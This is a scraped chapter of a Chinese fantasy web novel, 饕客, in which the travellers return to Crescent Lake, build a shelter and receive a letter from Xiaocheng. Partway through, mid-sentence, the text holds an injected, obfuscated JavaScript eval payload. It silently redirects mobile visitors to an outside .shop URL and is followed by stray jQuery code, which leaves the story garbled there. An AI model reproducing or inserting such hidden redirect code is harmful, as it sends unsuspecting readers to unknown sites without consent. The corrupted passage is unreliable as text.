文趣网 > 都市小说 > 饕客 > 49. 娇蛇判官
    正殿里安静多了。

    那张高背石椅上没有人。椅子空着,苍渊低头看着那张椅子,然后转身面对众人说:“敖渊的事到此为止。他偷的四十七条蛟魂,我会让他一条一条地还。怎么还,还完之后怎么罚,我说了算。谁有意见现在提。”

    没有人说话。

    那些蓝鳞守卫们互相看了几眼,碧潮站在殿门外面没有进来。

    苍渊继续说:“从今天起龙宫不再补龙心石。太古蛟在底下睡它的,我们在上面过我们的。谁再往底层去,谁就下去陪它睡。”

    殿里有人笑了一声,不知道是谁笑的。苍渊没有追究,他把爪子搭在石椅的扶手上坐下来。“行了。都散了吧。”苍渊说。

    殿门口的人慢慢散去。

    伙房的帮工们抱着锅铲扫帚回了后厨,阿螺的嗓门恢复了平时的音量,跟旁边的蟹将讲她刚才在殿门看到的一切。虾三和蟹九跟在后面,两个人还在争论谁先发现敖渊跑的。

    老龟抱着书慢吞吞地往藏书阁走,走了一半又折回来,因为他忘了藏书阁在哪边。

    铁鳞带着守卫们去巡查浮城外围了。

    碧潮把刀收好,一个人沿着廊道走远了。小澄和二太子在殿门口面面相觑了,小澄忽然说:“屋顶还没修完。”

    “我知道。”二太子说。

    “那块瓦还在殿顶上扣着呢。”

    “我知道。”

    “你回去修不修?”

    “修。”

    小澄朝殿顶的方向跑了,蓝色的身影越缩越小。二太子跟在后面,两个人一前一后地爬上了殿顶,过了没多久就传来了搬瓦片的声响和两人的吵吵嚷嚷。

    尘昼在正殿里看着那张石椅上的苍渊。老蛟坐在椅子里闭着眼,尾巴搭在脚边像在打瞌睡。但尘昼看得出来他没有睡着——他的指尖在轻轻敲着扶手。

    娇蛇看了一会儿石椅上的苍渊,然后对尘昼说:“他累了。”

    尘昼点转身朝殿外走,翠妖的呼吸慢慢沉下去像快要睡着了。他们走出正殿,从后厨的排水口游出去浮上海面。

    外面的天暗了。暮色把海湾染成了一片金色。

    浮城在暮光里安静地待着。殿顶上小澄和二太子的身影还在忙着。

    尘昼浮出海面往岸边游去,游到浅水区的时候他站起来,水没到膝盖凉丝丝的。他低头看着水里的倒影——银白蛟尾、独角、鳞纹。

    娇蛇站在他旁边,两个人的影子在水上并排被波纹搅碎又合拢。

    “走吧。”尘昼朝沙滩走了。

    龙宫的浮城上的荧光贝壳一盏一盏亮了,潮尾镇的驼背老头站在茶馆门口,远远地朝海湾的方向望了一会儿回屋了。

    离开潮尾镇往西走三天。路还是那条路,矮树林、影山、野猪岭,一个接一个地从路边滑过去。

    但走起来比来时轻快得多,像肩膀上一块大石头终于卸掉了。

    小澄不在,少了她一路的叽叽喳喳,路边安静得让尘昼有点不习惯。翠妖偶尔揪一下他的头发。玄鳞走在前面,黑色的背影在暮色里拉得很长。

    第二天路过野猪岭的时候,寨门上的旗又换了。这次画的是一条银白蛟,旁边多了一个翠绿点和一个黑影子,旗角写着歪歪扭扭的字:“饕客驿站,三文过路,老弱免费。”

    尘昼看了一眼没有进寨。寨门里飘出肉香味和划拳的吆喝声,比上次更热闹了。

    “画得还是不像。”尘昼说了一句。

    翠妖揪了一下他的头发表示赞同。

    第三天月牙湖出现在了眼面。湖水清亮,芦苇长到了半人高,抽出来大半穗子在风里轻轻摇着。湖心石头上的老鼋趴着晒太阳,背甲上那簇小野花开了五朵,黄色的花瓣黄澄澄的。

    它听见脚步声睁开眼,认出了岸上的人,然后慢吞吞划了两下水,朝岸边游过来。游到浅水区,老鼋伸出来脖子搭在岸边的草滩上,慢吞吞地说:“回来了。”

    “嗯。”

    老鼋的目光停在娇蛇的尾尖上。那片灰白色已经褪完了,新鳞长满了整个尾尖,边缘圆润。老鼋看了一会把脑袋放回石头上合上眼。

    尘昼在湖边的草地坐下来,把靴子脱了泡脚。

    翠妖跳下来蹦到湖边的石头上玩水。娇蛇走进浅水里,水面起了一圈细纹,几条小鱼浮上来,绕着她的尾巴转了一圈又钻回去。

    紧接着又是几条,越来越多的小鱼从水底浮上来,围着她的尾尖转圈,像在确认什么又像欢迎什么。尘昼坐在岸边看着湖上那个安安静静蹲着的身影。

    野鸭群从芦苇丛里游出来,玄鳞把包袱放在脚边,暗金色的眼睛半睁半闭。老鼋的鼾声慢慢响起来……

    尘昼低头看自己的掌心——龙心石留下的蓝印子还在。九种能力在掌心深处动着,他笑着把手收回来揣进袖子里。

    “我们住哪?”娇蛇走回岸边在他旁边坐下。

    “湖边。”尘昼说,“搭个棚子。够两个人蹲就行。”娇蛇低头看了一眼湖面。“月牙湖有野鸭小鱼。还有老鼋。水浅不深,挺好的。”

    “嗯。”

    娇蛇看着尾尖那片完整的银白鳞片,忽然开口:“小澄说过,她以后要来找我。”

    “她说的是实话。”尘昼说。

    “我知道。她来的时候让她住湖边。那边有一块空地,搭棚子刚好。”

    湖东面的岸边有一块空地,地势平坦离水边不远,旁边还有几棵矮柳可以挡风。他收回目光点了一下头。

    夜风从湖面上吹过来,尘昼把脚从水里提起来晾了晾穿上靴子,走到湖东的空地上转了一圈,用脚踩了踩地面,土不软不硬,适合搭棚子。

    他朝娇蛇点头:“明天搭。”

    第二天尘昼开始搭棚子。

    搭棚子其实就是找几根粗树枝插进土里,横着绑上几道细枝,上面盖一层干草和大叶子。他在落魂渊待了那么多年,这种东西闭着眼都能搭。

    但这次不一样——他刚把第一根树枝插进土里,娇蛇就走过来了,站在旁边看了一会然后伸手把树枝拔出来。

    “歪了。”

    “没歪。”

    “歪了。往南偏了两指。”娇蛇把树枝重新插回去,调了一下角度,“你以前搭过棚子吗?”“搭过。在落魂渊。”

    “什么样的?”

    “斜靠着断崖搭的。三面石头一面草帘,蹲进去就行。”

    娇蛇看着湖东面这块空地,又看了看周围那几棵矮柳,然后把树枝往西边挪半尺。“月牙湖风从西面来。你朝南偏两指,风会灌进去。”

    尘昼没有反驳。他把第二根树枝拿过来在另一头找位置。插进

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17958619|212791||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    去娇蛇的尾巴轻轻碰了一下他的手,意思是“还行”。

    尘昼把第三根插好,第四根插好,两根竖着的,两根斜着的,搭成一个歪歪斜斜站得住的架子。娇蛇在旁边一根一根地递树枝,递到一半翠妖从湖边的石头上跳过来,蹦到架子上蹲着,两只小爪子抱着膝盖像一只监工。

    “你别蹲上面。刚搭的不结实。”

    翠妖揪了一下身边那根细枝,细枝晃了两下,她整只精跟着晃了两下,若无其事地蹲稳了。尘昼没再管她。

    他从湖边的柳树上折了一些带叶的枝条铺在架子上,一层压一层铺了两层。娇蛇在下面递叶子,一片片铺得比尘昼整齐。两个人一个铺一个递,配合默契的。

    玄鳞靠在远处那棵老树干看着这边。看了一会儿他走到湖边捡了几块石头,过来压在棚子底的枝条上。压完石头又回去靠着树,全程没说一句话。

    棚子搭到中午已经像点样子了。

    两面都有架子,一边靠着一棵柳树,顶上铺了厚厚的干草叶子,地面被尘昼用石头垫平,又铺了一层干草。两人蹲进去刚好,再多一个都挤。

    娇蛇蹲在棚子里面试了试,头顶离叶子顶还有一拳距离,尾巴盘在身后刚好放得下。

    她蹲在里面看了一圈点点头。

    尘昼拿着最后几根细枝不知道往哪搁。娇蛇从棚子里探出头,然后尾巴从棚子里伸出来两人隔着棚子口待了一会儿。湖上吹过来一阵风把棚顶的叶子吹得沙沙响,翠妖从架子上跳下来蹦到尘昼肩上蹲好,揪了一下他的头发。

    “嗯。”尘昼说,“挺好。”

    下午棚子搭好,海鸟来了。

    那只海鸟从东边飞来尘昼正在湖边洗鳞片。它扑棱棱地落在湖边的石头上,收翅膀的时候差点失去平衡,踉跄了两步才站稳。翠妖第一个看见它,蹦到石头上跟海鸟对望着。

    海鸟的嘴里叼着用海草缠成的小卷,看见翠妖把小卷吐在石头上,然后歪着脑袋喘气。

    尘昼把那个小卷捡起来拆开。里面是一张纸条,纸上的字歪歪扭扭的,墨色洇了一半,但还能认出来。

    “娇蛇姐姐:二太子把西侧殿的屋顶修好了。他这次拼的瓦全是歪的。但歪得挺整齐,我说他拼得不好看,他说他拼得比我快,我说你快有什么用,歪的,他说歪的也能挡雨。”

    “我说能挡雨你怎么不睡屋顶底下,他说他睡,我说那你睡,他说他今晚就睡,我说你睡就睡,他说他真睡了,我说那你睡吧,他说他睡了之后海葵缸谁看着,我说我帮你看着。”

    “他说不用你看着,你看着会偷吃,我说我不会偷吃,他说你上次就偷吃了,我说上次不算,他说怎么不算,我说上次是你先偷吃我的,他说我没偷吃你的,我说你偷了,他说我没偷,我说你偷了,他说我没偷——”

    信到这里断了,翻过去背面还有一段:“大长老说让你们有空回来看看。旗还挂着。二太子说旗上那条银蛟画得不像你,我说你懂什么——小澄留。”

    尘昼把信念给娇蛇听。娇蛇听完沉默了,然后她说:“二太子确实偷吃海葵。”

    “你怎么知道?”

    “他小时候就偷吃。偷完了不承认,把缸推到别人门口。”娇蛇笑着说。,尘昼把信收好,翠妖从石头上跳回他肩上,揪了一下他的头发,又揪了一下。